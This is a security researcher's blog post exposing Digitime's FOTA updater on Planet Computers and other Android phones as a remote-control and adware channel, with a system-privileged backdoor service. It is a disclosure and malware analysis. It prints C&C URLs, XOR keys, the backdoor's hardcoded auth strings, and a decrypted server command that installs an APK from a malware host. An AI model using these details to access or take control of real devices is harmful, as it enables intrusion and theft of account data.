An investigation into the shady stuff going on behind Digitime Tech's FOTA update service, as seen on Planet Computers's Android devices and on other low-budget Android hardware.
Earlier this month I wrote about my research into the FOTA updater on the Cosmo Communicator, wanting to learn how it fetched updates in the hopes of gleaning more information about the device and getting the raw OTA update files. This sent me down an absurd rabbit hole: I went into it assuming good faith, only to discover that the updater contained a curious level of obfuscation and complexity (for things that, in theory, should be simple and straightforward) and some patterns that were very reminiscent of malware.
I attained my goal of writing a script that could pretend to be a Cosmo and fetch the OTA data. This still left a lot of questions unanswered, though... so I delved further.
This post contains everything I've learned about Digitime's operations, based off research into their company, their currently-operating online services, and every sample I could track down of their software. Their distribution model makes it difficult to get samples, so there's bound to be aspects I've missed, but there's still enough information to get a broad overview of what they're doing.
Please see the note at the end of this post for more details on how the situation has progressed. In summary, Planet Computers were entirely unaware and started an internal investigation immediately after I notified them, and are working on mitigations/alternatives.
Shenzhen Digitime Technology (数联时代, or just Digitime) are a technology company based in Shenzhen that operates mobile device update infrastructure. Their main website at www.digitimetech.com boasts that they are a "globally leading FOTA service provider" with over 300 million devices.
A scrolling image carousel claims partnerships with Qualcomm, Mediatek and Spreadtrum (SoC vendors) and Revoview, WaterWorld and Bird (device manufacturers) - although this is most definitely not an exhaustive list; their About Us page claims "Digitime serves hundreds of worldwide Android terminal R&D companies, ODMs, and brands".
Closely linked is QiMing IoT (启明智物 or 深圳市启明智物科技有限公司), who also advertise FOTA services at www.qimingiot.com, have the same contact phone numbers as Digitime and even share the same legal representative, but are much younger - they were registered as a company in Guangdong Province in November 2018, and their domain name was registered a month later.
Digitime's main business (at least, to the public eye) is their FOTA service - this is what they advertise on digitimetech.com and this is the aspect that's most visible to users.
They provide Android ODMs/OEMs with the SystemFota updater APK, instructions on how to build OTA packages and a web portal where they can upload them and view statistics.
An example of this is visible on one GitHub repo where an engineer at Erobbing/Luobin appears to have mistakenly uploaded a Digitime package from April 2016: https://github.com/dante198406/OTA - It includes Chinese-language documentation on integrating the updater into the system, multiple versions of the APKs for 4.x JellyBean/KitKat and 5.x Lollipop and a PowerPoint presentation about the system.
This repository gives us versions 4.0.2 (code 6), 4.2.1 (also code 6), 4.3.4 (code 11) of the updater. These are fairly old but still give us a picture of how the system has evolved - and also only partially obfuscated, which is helpful for analysis. Moreover, there's a leftover FoSvc.java.bak
file inside the APK with original source code and comments.
The app is partially implemented in Java and partially in Lua. The former is in the com.fota.wirelessupdate.activity
package, which handles the UI, the update checking, download and installation.
The FOTA portion of this system is quite predictable; with the exception of the URLs being hidden in the Lua code (more on this a bit later), it's all fairly standard. This version of the updater uses protobufs sent to a few endpoints under /phone/2.2/
: check_project
, check
, reg_verify
, upgrade
, upgrade_finish
.
Where it gets exciting is the com.fota.wirelessupdate.activity
package, which includes a set of classes that interface with a Lua runtime to execute Lua scripts. These are the four entry points into Lua code:
FoSvc.startBoxService
: called by FoRcv
when the OS boots, network connectivity changes, or the timezone changesFoSvc.readFotaConfig
: called by FotaApplication.onCreate
to fetch the FOTA server URLsFoSvc.setTestCondition
: called by FoRcv
when the system.systest.action
intent is receivedFoExport
: a Binder interface into the Lua system, exposed by FoSvc.onBind
FoSvc.startBoxService
sets an Alarm to start up the FoSvc
service every 4 hours. Once the service starts, it calls FoBoot.start_boot
to execute the Lua function BootEntry
, and also schedules a timer to perform a FOTA check from within Java code.
The other two FoSvc
functions simply redirect towards Lua functions BootReadFotaConfig
and BootSetTestCondition
.
Finally, although this sample doesn't appear to use it, the FoExport
interface has one method, Map callBox(Map)
which calls into the Lua function BootAidl
(this was removed entirely in a later version).
We can find this by looking at FoBoot.extract_boot()
. The packages are stored inside extension-less zip files called license_01
(armeabi and armeabi-v7a) and license_03
(arm64-v8a), which contains a set of files containing Lua bytecode and the Lua runtime itself as a shared library (later versions of SystemFota move the runtime into the standard APK lib
subdirectory).
Using unluac
and luadec
we can get vaguely readable code from the files - they're not perfect (for some parts, I had to resort to using luadec -dis
which outputs the bytecode instructions in a human-readable form) but it's good enough to figure out what's going on with some work.
This version is internally numbered v1.3. I'll also be comparing some aspects against the version shipped on Planet's Gemini PDA and Cosmo Communicator, which is numbered v1.6.
Firstly let's look at the simpler functions mentioned above. BootReadFotaConfig
simply uses ConfigGet
to fetch some URLs and a single boolean flag, fota_ad_switch
. By looking into the config
script we can learn what the different URLs are - they are pieced together from strings that are interspersed with unused junk strings.
fota_url_1
and fota_url_4
: http://app.fota.digitimetech.com
fota_url_2
: http://s1.fotaservice.com
fota_url_3
: http://112.124.58.101
boot_url_1
: http://boot.boxholder.org:10000/boot
boot_url_2
: http://106.186.16.232:10000/boot
boot_url_3
: http://{gen_domain_name()}:10000/boot
That last one is very common practice for malware - it generates a domain based off the current timestamp, following the template boot.bXXXXXXXX.net
where XXXXXXXX
is the first 8 characters of the MD5 digest for boxdomainYYYYMM
(current year, current month 01-12).
(For context, the config
script simply provides ConfigGet
and ConfigSet
functions which store variables into a shared preferences file. Keys and string variables are encrypted using encrypt_data
, which XORs each byte with bytes from HiBox_5i5j_XiMik
and then base64 encodes the result.)
Version 1.6 (present in slightly different variants on the Gemini and Cosmo, as discussed later with boot_version_ext
) uses different URLs:
https://app.fota.digitimetech.com
http://47.254.145.86
http://statistics.flurrydata.com:10000/boot
http://106.184.5.78:10000/boot
(dead?)http://52.200.115.202:10000/boot
Next, BootSetTestCondition
updates a couple of configuration variables used by the Lua code for scheduling - this will be explained in the next section.
BootEntry
is where the shady stuff begins. It initialises some property within global state (accessed using the fetchData
and storeData
static methods on the FoSvc
class, which is obtained in Lua through EnvGet('box_service_class')
) and then starts up a new Lua handler on a separate thread, which is stored using storeData('boot_handler')
. It then calls BootStart
on that new handler.
BootStart
queries for the presence of the "worker" code and calls ScheduleCheck
to schedule a check-in. Then, if a worker was present, it sends the boot_handler
Handler a request to execute the WorkerEntry
function from it.
The Worker is a separate, dynamically-updatable package of Lua code which is where the meat of this system lies. This will be discussed later...
The ScheduleCheck
function mediates when the client will check in with the Boot C&C server. First, it looks at the values of the activate_account
and activate_condition
configuration values to define when it should activate.
On a new install, activate_account
defaults to 0, and activate_condition
defaults to the value of License
from the Android manifest (3 in this sample), or 3 if that value does not exist.
If activate_account <= (activate_condition * 10)
, the function increments activate_account
and then returns. This means that this code lies dormant until ScheduleCheck
has been called at least 30 times.
(Version 1.6 neuters this somewhat: the threshold is no longer multiplied by 10, and defaults to 0, so that the dormancy period effectively does nothing.)
Following this, there are a couple more checks. If no network is available, the function exits.
It then checks whether enough time has passed since the last check-in; by default, the 'short' interval (used when on WiFi) is 5 days and the 'long' interval (used when on mobile) is 30 days. This is bypassed by the debug_switch
configuration option.
(In version 1.6, both intervals are 8 hours, and debug_switch
does not affect them.)
If all of these go ahead, the check_time
configuration value is set to the current timestamp and ActionCheck
is called.
This is where the BootSetTestCondition
function mentioned earlier comes in: it sets the counter and time variables such that a check-in will be triggered immediately, bypassing the initial dormancy period and also the delay between check-ins.
ActionCheck
is quite a simple function. It makes a POST request to the boot_url
(each one is attempted in order until it succeeds) containing a JSON payload encrypted using encrypt_data
as described earlier.
The info sent to the server includes a UID (obtained from GetConfig
) and some basic information returned by EnvInfo
from the env
script: the channel and project ID, the phone's model and ROM version, the updater version, the boot version, the worker version (if present), whether the host app is a system app or not, and the current network type.
In version 1.6, the last two fields are replaced by boot_version_ext: "c"
(or "a"
for the Gemini variant). This identifies which particular variant of the boot payload is being used - the same pattern exists for the worker, as we'll see later.
This is hard to analyse in depth without access to more 'host' APK samples, however. The only differences between 'a' and 'c' are FOTA domain names and one Java class name (the host service name for the Lua payload), but there may be other unknown (to me) variants with more significant changes.
All of the other fields are fairly self-explanatory except for the channel ID (sometimes called 'customer ID') and project ID. These are arbitrary strings which appear to be tied to a specific deployment within Digitime's infrastructure (for example, this SystemFota uses LUOBIN
and SYSLUOBIN
, Planet's Gemini uses EASTAEON
and EASTAEON_20180426
, and Planet's Cosmo uses EASTAEON
and EASTAEON_FW_20190712
), and are used by both the FOTA client discussed earlier and by the Lua C&C client.
The server returns a payload that can include a config
, a cmd
or both. If a config
is present, its values are used to update existing ones using ConfigSet
. If a cmd
is present, its value is checked to determine what action to perform next: ActionRegister
, ActionUpgrade
or ActionInfo
, and parameters for them are pulled from the params
key.
ActionRegister
sends a request in a similar fashion to the previous section, using register
as its action
. It supplies the return of EnvInfo
as before and also calls ConfigGetInfo
to get the entirety of the data tracked by the config
module.
The server returns a payload that may include a new UID and optional updates to config
. If a new UID is provided, it's stored using ConfigSet
and then another ActionCheck
is performed immediately (without waiting for the next scheduled check-in).
ActionInfo
sends a request telling the server some information about the client.
In version 1.3, this is just the EnvInfo
and ConfigGetInfo
data that the Register action sends. In 1.6, it's stepped up by also including the return of PhoneInfo
(metadata from the android.os.Build
class) and PhoneReadTelephonyInfo
(identifying information such as the IMEI, SIM phone number, serial number and details on the current mobile network).
The server optionally returns updates to config
as with the other two and a new cmd
which gets the client to execute either ActionRegister
or ActionUpgrade
immediately.
The last command to look at here is ActionUpgrade
. The params
for it specify a URL to a worker package. It downloads that package and extracts it to the worker directory specified by the config
module.
This is what gives the system its power. Although the Boot system is fairly benign, giving Digitime nothing other than some basic metrics and device-identifying data, the Upgrade command allows them to supply a Worker package containing arbitrary Lua code.
A slight detour here before we look at the worker: v1.3 included the mechanism that allowed Java code to bind to the FoSvc
service, retrieve an interface and then call into the BootAidl
function.
This handles a get_UID
command and returns ConfigGet('UID')
. All other commands are passed through to a WorkerAidl
function within the worker.
The Worker is the core of Digitime's C&C client. Once a client has registered their device using the Boot module discussed above, they send an upgrade
command with a worker for them to download.
What's particularly insidious about this system is that Digitime maintains different workers with different abilities. This means that documenting everything they can do is difficult: I know of three variants, but there may be more I don't know about simply because I cannot guess the URL to them and their C&C won't supply it to me.
The samples I've observed are located on the shady-sounding cdn.facebook-3rd.com
domain, which they appear to use to distribute both updated workers and malware/adware applications that are pushed to devices. There's records on various malware tracking sites suggesting that Digitime used to store these on flare.facebook-3rd.com
, but this is no longer active. (More on Digitime's domain names in a later section of this report.)
Every worker uses the same external interface, but processes different commands. The architecture is very similar to the Boot module, I currently know of three versions (not counting 32-bit variants), available at the following URLs:
http://cdn.facebook-3rd.com/cdn2/worker_v00_64_b.rdf
http://cdn.facebook-3rd.com/cdn2/worker_v16_64_i.rdf
http://cdn.facebook-3rd.com/cdn2/worker_v16_64_m.rdf
The first reports itself as version v0.0, and the other two report themselves as version v1.6. Each of these also has a worker_version_ext
field which matches the last character in the name - like the boot_version_ext
field seen above, this seems to identify separate variants of a particular worker version that have different capabilities.
The b
worker is fairly basic, and provides very few abilities over the base Boot module - this is what the Digitime server offered my Cosmo. The i
and m
workers add more interesting malware-like behaviours, which I'll discuss later in this section.
The Worker is controlled through a single entry point, WorkerEntry
, which is called from the Boot module as discussed earlier. It begins with one particularly interesting piece of code which sets up various class names, allowing it to adapt to different versions of the host Android application.
Two externally supplied variables (which the host configures when creating the Lua state) are queried: box_package_name
and service_ver_int
.
If no package name is supplied, it defaults to iwa.box
and the settings from the first row of the following table are used. Otherwise, it checks service_ver_int
to determine what kind of host it's dealing with.
Service Version | Boot | Handler | Service | Utility | Receiver |
---|---|---|---|---|---|
(nil package) | BoxBoot | BoxHandler | GuardService | BoxUtility | BoxReceiver |
(nil version) | FoBoot | FoHandler | FoSvc | FoUtility | FoRcv |
19+ | FoBoot | FoHandler | BaseIntentService | FoUtil2 | InfoReceiver |
17-18 | FoBoot | FoHandler | GCMBaseIntentService | FoUtil2 | GCMBroadcastReceiver |
16 | FoBoot | FoHandler | FoSvc2 | FoUtil2 | FoRcv2 |
0-15 | FoBoot | FoHandler | (undefined) | FoUtil2 | (undefined) |
Similar to what BootEntry
did for the Boot module, the Worker creates a new Lua thread and handler, and stores it into the worker_handler
data field on the Service class. The WorkerStart
function is executed on this new thread.
WorkerStart
is quite straightforward. It calls ScheduleCheck(false)
(note that despite the naming, this is separate from the ScheduleCheck
function present in the Boot module - none of the Boot code is accessible on the separate context) and then increments the call_count
configuration variable.
If ScheduleCheck
returned true, then the worker calls MiscCheckRetention
(only in the i
and m
variants) and then immediately terminates its thread.
There's also some code for executing debug actions, which I don't believe can be activated using any of the versions of the host that I've seen.
The default C&C URLs used by the worker module are as follows - this is the same for the three variants I looked at:
http://analyze.flurrydata.com:10000/v15_worker
http://45.56.85.209:10000/v15_worker
The uuid
module in the workers exposes a simple API: UuidReadDID
, UuidWriteDID
and UuidReadUUID
- responsible for keeping track of two different user IDs.
What's really sneaky about it is that each of these values is kept in multiple different places in order to make it harder for someone to remove the tracking data. They also try to detect tampering and report it home.
The UUID can be stored globally in /cache/.log.pro.uuid
, and locally in $PACKAGE/files/.log.pro.uuid
and $PACKAGE/shared_prefs/uuid_pro.xml
. The UuidReadUUID
function checks all of these (in the order of XML, private data and then cache) and then takes the first valid one as correct. If none are present, then a new one is generated using the Java UUID class.
Any missing/non-matching entries are replaced, and then the function returns a UUID along with some information. The 'read' string (e.g. X2P2C1
) specifies what was read (0 = nothing, 1 = non-matching UUID, 2 = matching UUID), the 'write' string (e.g. X0P0C1
) specifies whether any writes were made (0 = no, 1 = yes), and the 'loc' string specifies which location the UUID was pulled from.
wlog("UuidReadUUID()")
result = {}
xml_uuid, xml_valid = read_uuid_at_xml_sp()
priv_uuid, priv_valid = read_uuid_at_private_data()
cache_uuid, cache_valid = read_uuid_at_cache()
wlog("uuid_xml: " .. tostring(xml_uuid) .. ", " .. tostring(xml_valid))
wlog("uuid_private: " .. tostring(priv_uuid) .. ", " .. tostring(priv_valid))
wlog("uuid_cache: " .. tostring(cache_uuid) .. ", " .. tostring(cache_valid))
xml_readflag = xml_valid ? 1 : 0
priv_readflag = priv_valid ? 1 : 0
cache_readflag = cache_valid ? 1 : 0
loc = ""
if xml_uuid:
what_uuid = xml_uuid
loc = "X"
else if priv_uuid:
what_uuid = priv_uuid
loc = "P"
else if cache_uuid:
what_uuid = cache_uuid
loc = "C"
wlog("uuid: " .. tostring(what_uuid))
if not what_uuid:
what_uuid = build_uuid()
loc = "N"
wlog("uuid_loc: " .. tostring(loc))
result["loc"] = loc
if not what_uuid:
result["read"] = "X" .. tostring(xml_flag) .. "P" .. tostring(priv_flag) .. "C" .. tostring(cache_flag)
return
what_uuid = tostring(what_uuid)
xml_writeflag, priv_writeflag, cache_writeflag = 0, 0, 0
if xml_uuid == what_uuid:
xml_readflag = 2
else:
xml_writeflag = write_uuid_at_xml_sp_data(what_uuid)
if priv_uuid == what_uuid:
priv_readflag = 2
else:
priv_writeflag = write_uuid_at_private_data(what_uuid)
if cache_uuid == what_uuid:
cache_readflag = 2
else:
cache_writeflag = write_uuid_at_cache(what_uuid)
read_info = "X" .. tostring(xml_readflag) .. "P" .. tostring(priv_readflag) .. "C" .. tostring(cache_readflag)
write_info = "X" .. tostring(xml_writeflag) .. "P" .. tostring(priv_writeflag) .. "C" .. tostring(cache_writeflag)
wlog("uuid_read_status: " .. tostring(read_info))
wlog("uuid_write_status: " .. tostring(write_info))
result["read"] = read_info
result["write"] = write_info
The DID is slightly different, as it's supplied by the Digitime server on 'register' rather than being generated by the client, which is why it exposes separate UuidReadDID
and UuidWriteDID
functions.
It can be stored globally in /cache/.log.pro.did.ZZZZ
, where ZZZZ is the result of calling encrypt_data
on the package name (the Base64 output is munged to make it safe for filenames by replacing + by A, / by B and = by C), and locally in $PACKAGE/files/.log.pro.did
and $PACKAGE/shared_prefs/did_pro.xml
.
Aside from these differences, it behaves almost identically to the UUID reader, returning 'read', 'write' and 'loc' fields. It also checks for the presence of a phone_id
field using GetConfig
which the log messages call "old" - perhaps this was used by an older version of the worker...
So, what about the 'i' and 'm' versions of the worker? These actually add more locations for IDs! In the versions I looked at, these will also store the UUID and the DID to hidden files .log.pro.011/.log.pro.uuid
and .log.pro.011/.log.pro.did.ZZZZ
on the SD card/external storage. Can't pass up a tracking opportunity!
The Worker's scheduler doesn't include the dormant period that the Boot scheduler does - it just gets going straight away. Otherwise, it works in a very similar fashion.
The default configuration requires a minimum of 6 hours between check-ins (regardless of connection type). This is theoretically changeable on a per-client basis by the C&C server through the config update mechanism but I don't know if it actually does this.
Once this condition is met, ActionCheck
is called. The 'i' and 'm' workers extend this functionality further - more on this later.
The client sends a check
request to the worker URL, enclosing the DID and the EnvInfo
data. This includes the phone model and serial number, the channel/project ID, the UID from the 'boot' module, whether the host package has app install/delete, permissions, the package name and signature, whether the host package is a system app and some other bits of internal metadata.
The 'i' and 'm' workers also add the IMEI and IMSI to the EnvInfo
data, and they tag on some extra payloads to the main request - data returned by get_install_report
and by get_app_3rd_report
. More on this later.
The result is checked for a command in the typical fashion. All workers support register
, upgrade
and test
. The 'i' and 'm' workers also support info
, install
, uninstall
and retention
.
The server can also optionally supply updates to the config (as seen in other handlers here) and optionally a params
object that contains values for CID
, PID
and activate_time
.
The register
and upgrade
commands are basically the same as what we've seen before, and the test
command does nothing.
So, the 'b' worker does very little - it checks in and supplies the EnvInfo
data every so often, and can upgrade itself, but otherwise there's nothing of interest. Let's look at the fancier workers.
The info
command present only in the 'i' and 'm' workers is where this thing really starts to seem like malware. It asks the client to send back a request with a bunch of information. The base request includes just the DID and the return of EnvInfo
. However, the server can supply an info_level
integer where individual bits specify kinds of information to return:
ConfigGetInfo
is called, returning the worker's entire configurationPhoneInfo
is called, returning metadata about the phone from the android.os.Build
classPhoneReadTelephonyInfo
is called, returning identifying info for the user's mobile network and SIM cardPackageReadList(false)
is called, returning the names and flags of all installed non-system packagesPackageReadList(true)
is called, returning the names and flags of all installed packagesNext up are the install
and uninstall
commands present only in the 'i' and 'm' workers, giving Digitime the ability to remotely install apps. This is where the reports sent by check
come in handy!
The server's install
command is accompanied by details of an APK to download and install, along with some metadata. Information about the install process gets stored into the 'install report' using the update_install_report
function, and a new Lua thread is started on the WorkerInstall
function.
Additionally, if the server passes a true keep_check
field, the worker calls update_app_3rd_list
to store some information: an ID, a type, a package, a service, an action, and a mode (which can be either 2 or 3).
Each install report update is accompanied by a call to ActionReport
, which calls into the C&C server to tell it about the current status.
The WorkerInstall
function on a separate thread simply reads the parameters passed to the last install
action and downloads the APK. Once fetched, it installs the package and then calls ScheduleNext(15000, "activate")
, which in turn calls WorkerActivate
on a new thread in 15 seconds.
WorkerActivate
checks to make sure the package is installed and then attempts to activate it using a specified intent - this can optionally include the Channel ID, Project ID, Device ID and the activate_time
configuration field, passing them to the newly installed app.
What else? The uninstall
command is fairly predictable, allowing the Digitime server to remove a specified app.
I mentioned the retention
command earlier - this has the server supply a list of apps which the worker will act upon. Depending on what mode value is specified for each app, it will remove it from the '3rd list', add it to the '3rd list' (for regular checking), uninstall it entirely, or call MiscCheckAppRetention
. That function checks to see whether the app is installed and running, and can optionally forcibly re-activate it.
This is where the differences between the 'i' and 'm' workers come in. The 'i' worker installs packages by shelling out to the pm
command. The 'm' worker ups the ante by using a wide variety of methods to install and remove packages.
It checks the version code of the Lua host (to determine which methods it offers) and then calls one of a variety of methods:
pm
isInstallPackage
and isDeletePackage
isIPackage
and isDPackage
isIPa
and isDPa
isGrI
and isGrD
What makes this difficult to fully document is that I haven't managed to find any examples of the host apps that provide the 19-28, 29-37 or 38-898 versions, so I'm not sure what they do behind the scenes. The SystemFota
app pre-loaded on the Cosmo Communicator, however, provides the isGrI
and isGrD
methods (among others), which hook into my favourite part of this whole disaster...
The Cosmo's SystemFota
app includes a set of obscurely named interfaces called IOrgX
, IOrgY
and IOrgZ
, defined within the android.internel.slf4j.fun
package (yes, it really does say 'internel').
These are accessed through the com.dtinfo.tools.activity.l
class and the bits in the com.dtinfo.tools.call
package. Their methods are bound to Lua through methods on the Box class (FoState), including the isGrI
and isGrD
methods mentioned above.
These call into a custom Android system service present on the Cosmo - I've not yet located any other device ROMs that include it. No other code in the FOTA updater interacts with it except for the update check UI, which calls l.b()
to fetch the backdoor's version number from the IOrgZ
interface's orgZver
method, and fails to check if the call fails.
I'm making heavy assumptions here, but I suspect that Digitime asks OEMs to include the service in their firmware, and this requirement in the FOTA updater simply ensures that they don't remove it. No part of the FOTA update system actually uses this service - as far as I can tell, the only way it would be used is if Digitime loads the 'm' worker onto your device and uses it to remotely install apps.
The service in question is accessed by calling ServiceManager.getService("fo_sl_enhance")
, which returns an instance of android.app.ILightsService
(an IPC service defined in boot-framework
that doesn't exist in stock Android).
The implementation in question is defined by com.android.server.sl.enhance.LightsService2
, a class defined in the services
framework). Looking at this gives us a well-defined public interface for 'services' (no connection to Android services themselves), which is fully IPC enabled via Binders:
addService
: registers a service with a given name, IBinder and integer version numbergetService
: returns a service's IBindergetServiceVersion
: returns a service's versionlistService
: returns a list of all the registered services' namesremoveService
: removes a service by nameThere are a few other interesting things. There's a handler for an Android secret code: typing *#*#17071586#*#*
into the Phone app will trigger a receiver which just shows a notification.
There is also an unused access control method, c(String)
, which validates that the passed string is iWoPZrScPM1IeF
and that the calling package is one of installrun.harryliu.digi.com.ligthservicetest
, com.fota.wirelessupdate
or com.system.ftools
.
There's also a getVersion
method in com.android.server.p007sl.enhance.app.FOManager
, which returns FoEnhance_28_2.0.0
in the version I examined.
So, what's in the sub-services themselves? The static method LightsService2.c()
is called on initialisation which in turn calls OrgXImp.regService()
, OrgYImp.regService()
and OrgZImp.regServcie()
(yes, they misspelled it) to register the three used services, and then also adds a FPService
instance with an empty name (which means it never actually gets added).
FPService
is defined in boot-framework
and implements the IOrgB
interface, and only has two methods - one that reads up to 8kb from a file, and one that writes up to 8kb to a file. However, it's not even used.
This service offers methods to play around with packages:
orgXGrD
: Uninstalls a packageorgXGrI
: Installs a packageorgXGrR
: Calls into the Android Recovery System to install an OTA packageorgXGsAs
: Calls into PackageManager.setApplicationEnabledSetting
to set an app's enabled status with system privilegesorgXGsCs
: Calls into PackageManager.setComponentEnabledSetting
to set a component's enabled status with system privilegesThis service offers one hilariously powerful method, orgYGM
, which allows any Android permission to be silently granted to any app (regardless of whether it defines that permission in its manifest), by delving into the state of the PackageManagerService using copious amounts of Java reflection.
This one is just a bucket of unrelated fun things (with a lot of helpful debug messages in usual Digitime fashion):
orgZg
: returns the device's last known locationorgZtaN
: gets the package name of the current top/foreground activityorgZaB
: "addCheckAppAction": adds an action to getActions
arraylistorgZrB
: removes an action from getActions
arraylistorgZr
: reboots the deviceorgZcfD
: copies a caller-provided file handle to a caller-provided path, with system privilegesorgZrfD
: copies a caller-provided path to a caller-provided file handle, with system privilegesorgZdfd
: deletes a file at a caller-provided pathorgZver
: returns the FoEnhance_28_2.0.0
version string using constants defined by LightsService2
orgZInBase
: obtains a bunch of information about the device (metadata, serial number, IMEIs, SIM details, network details, region/language, etc), packs it into JSON and crudely XOR-encrypts the resultorgZDaemonAddSe
: adds a component to the q
maporgZReSer
: removes a component from the q
maporgZClSer
: "clear protect service" - removes every component from the q
maporgZlife
: iterate through every service listed in the q
map, and if it's not running, send it an arbitrary broadcastorgZROut
: "remove SERVICE_FOREGROUND_TIMEOUT_MSG"? not sure about this one...Okay, so first, consider that all this is being done with system privileges. Any app can access these services.
The only authentication in place is that every method has an extra parameter which must be set to a constant string (uisTeOpCk
or iWoPZrScPM1IeF
depending on the sub-service). The presence of the unused c(String)
method mentioned earlier implies that Digitime were at one point toying with requiring the calling app to have a particular ID as well as passing the appropriate string, but they didn't even bother doing that in the end.
The abilities to grant any app arbitrary permissions and to read/write files as the system user mean that any app running on a system with Digitime's fo_sl_enhance
service has a ridiculous amount of power. I was able to use this to dump the Android accounts database (including auth tokens) and to even disable the SystemFota
system app, all from an un-privileged app that declared no permissions.
I couldn't use it to read app data as Android sandboxes these to specific Linux users, but there may be a way to do this that someone with more Android security knowledge could pull off.
I'd really like to see other devices that contain this backdoor, but I couldn't track down ROMs for any. Planet's Gemini, as mentioned earlier, also uses Digitime's FOTA updater but it's a significantly older version that does not require or include the backdoor.
In my research I came across a bunch of examples of known adware/malware being distributed from the same CDN, facebook-3rd.com
, that Digitime uses to distribute their workers. There are various APKs which are almost identical but with randomly generated names, package names and certificates such as com.seneleven.holesuit
and com.hinedey.empoy
.
Furthermore, all of these contain reporting mechanisms that talk to servers belonging to Digitime and speak almost-identical protocols, down to the same semi-readable nonsense for encryption keys.
For example, 002_20190514_39_01_20190514_1.rdf
(com.seneleven.holesuit
) renders ads loaded from sx.omuchain.com
(a domain registered by the same person, using the same WHOIS info - a shopping mall in Tokyo - as the QiMing IoT website), and phones home to http://home.googLemobilecenter.info:10000/gmc_adm/mediation
. The HooConsant
class in that example includes the traditional Channel ID and Project ID used by Digitime's systems. The encryption keys in the HooPacket
class are Ti92T_77Zij_MiTik
(also used by the legitimate side of their FOTA updater!) and 4x1i3b3-0=7j_Tioook
.
com.spitsbergen.temperatures
or 001_20190613_41_01_20190613_1.rdf
, available on Koodous, is another app which does nothing but render ads. It actually includes code to fetch the CID, PID, DID and activate_time values that the Worker can pass to an app through an intent - so it's obvious that this was intended to be installed through Digitime's Worker system.
This thread on XDA Developers includes packet dumps from someone who was actively affected by this - Digitime's worker was installing malware on their phone, while running under the FOTA app. While the dumps are encrypted, they're trivial to decrypt when you know the keys... They appear to have been running the backdoor-free 'i' worker. This is the decrypted install command that their server sent to them:
{
"errcode":0,
"cmd":"install",
"params":{
"id":2308,
"replace_method":2,
"service":"com.emblazon.felicit.util.JueSvc",
"package":"com.emblazon.felicit",
"keep_check":true,
"cmd":"install",
"url":"http://flare.facebook-3rd.com/001_20181101_67_01_20181101_1.apk",
"action":"{"type":"intent_service", "intent_action":"com.emblazon.felicit.util.JueSvc", "extra":true}",
"package_ver":67,
"type":"3rd"
},
"config":{
"interval_short":43200,
"interval_long":43200
}
}
There are a variety of other fun examples you can find if you search online for URLs on flare.facebook-3rd.com
and cdn.facebook-3rd.com
. I was able to track down mentions and/or copies of all of these files, located on Digitime's CDN:
001_20190815_49_01_20190815_1.rdf
(com.sl.normal
)001_20190613_41_01_20190613_1.rdf
(com.spitsbergen.temperatures
)001_20190318_01_21_20190320_5.rdf
(com.reibiahsbghs.runst
)com.ioqicscigax.pljb
com.uctsadtxasch.quyry
002_20190410_39_01_20190410_1.rdf
(com.monecaswed.wakesmen
)002_20190429_01_49_20190429_3.rdf
(com.hinedey.empoy
)002_20190514_39_01_20190514_1.rdf
(com.seneleven.holesuit
)kk_s_20190617.rdf
(com.alibaba.payx3
)com.grated.power
com.peony.mochi
I contacted Planet Computers on the 2nd December 2019 about Digitime's software being included in the Cosmo. They replied the next day saying that they've passed it onto their developers but can't comment further (understandably). I'm hoping they will remove it, nevertheless.
Planet are only one OEM though and there's undoubtedly others using Digitime's services. There is no way I can trust an OTA distributor which moonlights as a malware distributor like this. This isn't your typical accidental security bug - this is a company that is knowingly and actively putting a malware distribution mechanism on phones through the supply chain, and getting paid for it. Truly living the dream.
What's more, this isn't even the first time an OTA update provider has been caught red-handed abusing their trust. In 2016, security firm Kryptowire discovered a similar situation involving Adups, whose FOTA software exfiltrated personal data and allowed arbitrary apps to be installed (hey, doesn't that seem familiar...?).
Perhaps publicly shaming Digitime will make something change. I'm just one guy with a laptop, and not a big research firm, but it's better than nothing, right?
If you have a device with Digitime's backdoor present on it, I'd be very interested in knowing what it is so I can take a look at the firmware. Let me know: Twitter @_Ninji, or email ninji@wuffs.org
I'm not ready to write a full follow-up just yet, but I wanted to amend this to note that I've been in contact with Planet Computers over the past few days regarding this situation. PC were entirely unaware about the security issues in the OTA software, and they are working on mitigations and on switching away from Digitime.
I'm very happy with their response and handling, they have been professional and receptive and they started investigating the issue internally the day after I notified them.
Digitime appear to have realised that their game's been spotted; I've noticed some interesting changes. Yesterday I poked the API for the first time in a while, using my Cosmo's ID, and I was served a brand new worker version, worker_v0x_64.rdf
which entirely rips out all the functionality bar the external functions and leaves what's essentially an empty shell. The file is dated 2019-12-04... curiously, just a day after PC made internal inquiries following my disclosure to them.
I also tried pretending to be a Gretel A7, as in the packet dumps in the XDA Developers thread linked earlier. This got me a brand new worker identified by the worker_version_ext 'yeah', which is identical to the standard 'b' worker in all respects except for the version ID, and its compile date is 2019-12-05.
And, the server handling the 'boot' requests was simply returning a "too many connections" error.
Today, more changes have occurred. The 'boot' server is working again. The URLs on cdn.facebook-3rd.com
all now simply return 404s. Pretending to be a Cosmo or a Gemini now gets me a request to upgrade to the Worker http://cdn.hosthotel.xyz/00_64_b.aac
, which is the same old 'b' worker at a different URL. Pretending to be a Gretel A7, using the exact same request I sent yesterday, now gets me http://cdn.facebook-3rd.com/cdn2/worker_v0x_32_3.rdf
... which sounds like it would be a variant of the Cosmo's empty worker, but the URL just 404s.
Also, the DigitimeTech and QimingIOT websites have been taken down just today; their A records have been removed and replaced with CNAMEs to random residential IP addresses. Shoutout to SecurityTrails for helping me confirm this: https://securitytrails.com/domain/www.digitimetech.com/history/a
The management portal at portal.digitimetech.com
, for device manufacturers, is still running, and is the only bit of Digitime's web presence that still seems to be running.
Previous Post: "16 Shades of Grey" - Building a Psion/EPOC32 Emulator
Next Post: Reviving Yahoo! PageBuilder in 2020